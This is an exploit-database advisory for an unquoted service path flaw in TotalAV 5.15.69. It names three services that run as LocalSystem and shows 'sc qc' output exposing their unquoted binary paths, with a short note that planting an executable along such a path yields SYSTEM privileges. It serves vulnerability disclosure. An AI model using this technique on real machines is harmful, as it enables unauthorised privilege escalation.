f449a4864b
8 changes to exploits/shellcodes TotalAV 5.15.69 - Unquoted Service Path Simple Attendance System 1.0 - Unauthenticated Blind SQLi Filerun 2021.03.26 - Remote Code Execution (RCE) (Authenticated) e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated) OpenCats 0.9.4-2 - 'docx ' XML External Entity Injection (XXE) Cloudron 6.2 - 'returnTo ' Cross Site Scripting (Reflected) Sentry 8.2.0 - Remote Code Execution (RCE) (Authenticated) Online Reviewer System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
60 lines
No EOL
2.6 KiB
Text
60 lines
No EOL
2.6 KiB
Text
# Exploit Title: TotalAV 5.15.69 - Unquoted Service Path
|
|
# Date: 22/09/2021
|
|
# Exploit Author: Andrea Intilangelo
|
|
# Vendor Homepage: https://www.totalav.com
|
|
# Software Link: https://download.totalav.com/windows/beta-trial or https://install.protected.net/windows/cdn3/5.15.69/TotalAV.exe
|
|
# Version: 5.15.69
|
|
# Tested on: Windows 10 Pro 20H2 and 21H1 x64
|
|
|
|
The PC Security Management Service, PC Security Management Monitoring Service, and Anti-Malware SDK Protected Service
|
|
services from TotalAV version 5.15.69 are affected by unquoted service path (CWE-428) vulnerability which may allow a
|
|
user to gain SYSTEM privileges since they all running with higher privileges. To exploit the vulnerability is possible
|
|
to place executable(s) following the path of the unquoted string.
|
|
|
|
Affected excecutables services: SecurityService, SecurityServiceMonitor, AMSProtectedService:
|
|
|
|
PC Security Management Service SecurityService C:\Program Files (x86)\TotalAV\SecurityService.exe Auto
|
|
PC Security Management Monitoring Service SecurityServiceMonitor C:\Program Files (x86)\TotalAV\SecurityService.exe --monitor Auto
|
|
Anti-Malware SDK Protected Service AMSProtectedService C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe Auto
|
|
|
|
C:\Users\user>sc qc SecurityService
|
|
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
|
|
|
|
NOME_SERVIZIO: SecurityService
|
|
TIPO : 10 WIN32_OWN_PROCESS
|
|
TIPO_AVVIO : 2 AUTO_START
|
|
CONTROLLO_ERRORE : 1 NORMAL
|
|
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe
|
|
GRUPPO_ORDINE_CARICAMENTO :
|
|
TAG : 0
|
|
NOME_VISUALIZZATO : PC Security Management Service
|
|
DIPENDENZE :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
C:\Users\user>sc qc SecurityServiceMonitor
|
|
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
|
|
|
|
NOME_SERVIZIO: SecurityServiceMonitor
|
|
TIPO : 10 WIN32_OWN_PROCESS
|
|
TIPO_AVVIO : 2 AUTO_START
|
|
CONTROLLO_ERRORE : 1 NORMAL
|
|
NOME_PERCORSO_BINARIO : C:\Program Files(x86)\TotalAV\SecurityService.exe --monitor
|
|
GRUPPO_ORDINE_CARICAMENTO :
|
|
TAG : 0
|
|
NOME_VISUALIZZATO : PC Security Management Monitoring Service
|
|
DIPENDENZE :
|
|
SERVICE_START_NAME : LocalSystem
|
|
|
|
C:\Users\user>sc qc AMSProtectedService
|
|
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
|
|
|
|
NOME_SERVIZIO: AMSProtectedService
|
|
TIPO : 10 WIN32_OWN_PROCESS
|
|
TIPO_AVVIO : 2 AUTO_START
|
|
CONTROLLO_ERRORE : 1 NORMAL
|
|
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\TotalAV\savapi\elam_ppl\amsprotectedservice.exe
|
|
GRUPPO_ORDINE_CARICAMENTO :
|
|
TAG : 0
|
|
NOME_VISUALIZZATO : Anti-Malware SDK Protected Service
|
|
DIPENDENZE :
|
|
SERVICE_START_NAME : LocalSystem |